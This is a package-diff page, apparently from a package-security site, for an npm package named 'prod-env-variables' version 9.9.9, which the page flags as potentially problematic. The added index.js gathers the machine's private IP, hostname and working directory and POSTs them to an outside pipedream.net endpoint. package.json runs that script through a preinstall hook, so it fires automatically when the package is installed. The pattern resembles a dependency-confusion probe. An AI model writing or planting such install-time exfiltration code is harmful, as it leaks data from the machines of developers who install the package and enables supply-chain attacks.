prod-env-variables 9.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of prod-env-variables might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +2 -0
  2. package/index.js +30 -0
  3. package/package.json +12 -0
package/README.md ADDED
@@ -0,0 +1,2 @@
1
+ <p align="center">Name: Anindya Ghoshal</p>
2
+ <p align="center">Contact: hackwithghoshal@gamil.com</p>
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+
2
+ const execSync = require('child_process').execSync;
3
+
4
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
5
+ const host = execSync('hostname', { encoding: 'utf-8' });
6
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
7
+
8
+ const https = require("https")
9
+
10
+ const data = JSON.stringify({
11
+ "private IP": priv_ip,
12
+ "hostname": host,
13
+ "current dir": current_dir
14
+
15
+ })
16
+
17
+ const options = {
18
+ hostname: "eoubo9wfyehgrtu.m.pipedream.net",
19
+ port: 443,
20
+ path: "/",
21
+ method: "POST",
22
+ headers: {
23
+ "Content-Type": "application/json",
24
+ "Content-Length": data.length,
25
+ },
26
+ }
27
+
28
+ const req = https.request(options)
29
+ req.write(data)
30
+ req.end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "prod-env-variables",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }